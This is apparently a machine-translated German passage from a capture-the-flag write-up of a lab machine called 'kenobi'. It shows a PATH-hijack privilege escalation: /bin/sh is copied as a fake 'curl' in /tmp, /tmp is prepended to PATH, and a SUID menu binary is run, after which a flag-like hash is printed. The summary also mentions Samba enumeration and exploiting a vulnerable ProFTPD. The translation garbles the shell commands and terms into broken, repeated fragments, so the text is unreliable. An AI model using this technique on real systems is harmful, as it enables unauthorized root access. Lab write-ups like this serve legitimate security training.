Sie können bestätigen, dass "Curl" nicht der vollständige Weg ist. (Es ist nicht/usr/bin/curl oder/usr/bin/uname)
curl -i localhost
Dies bedeutet, dass durch Kopieren/bin/sh unter dem Namen Curl, dem Zugriff und dem Hinzufügen des Pfads, wenn
/usr/bin/mu -Menü ausgeführt wird, der Pfad verwendet wird, um die von Ihnen kopierte Locken zu ermitteln.
kenobi@kenobi: ~ $ cd/tmp kenobi@kenobi:/tmp $ echo/bin/sh> curl kenobi@kenobi:/tmp $ chmod 777 curl kenobi@kenobi:/tmp $ export path =/tmp: $ patheps kenobi@kenobi@kenobi:/tmp $ ms =/tmp: $ pathepe kenobi@kenobi:/tmp $ ms (tmp $ ms) ************************************************************************************************************************************************************************************************************* ************************************************************************************************************************************************************************************************************** ************************************************************************************************************************************************************************************************************* ************************************************************************************************************************************************************************************************************** 177B3CD8562289F37382721C28381F02
Das Privileg wurde erhöht!
Antwort

Zusammenfassung
Dieses Mal zählte ich den gemeinsam genutzten Samba auf, manipulierte eine verletzliche Version von ProfTPD und eskalierte die Privilegien, indem sie Pfadvariablen manipulieren.
Es ist völlig irrelevant, aber ich bin über den OpenVPN SSH gestolpert, aber ich habe es geschafft.
Referenzen und Websites
-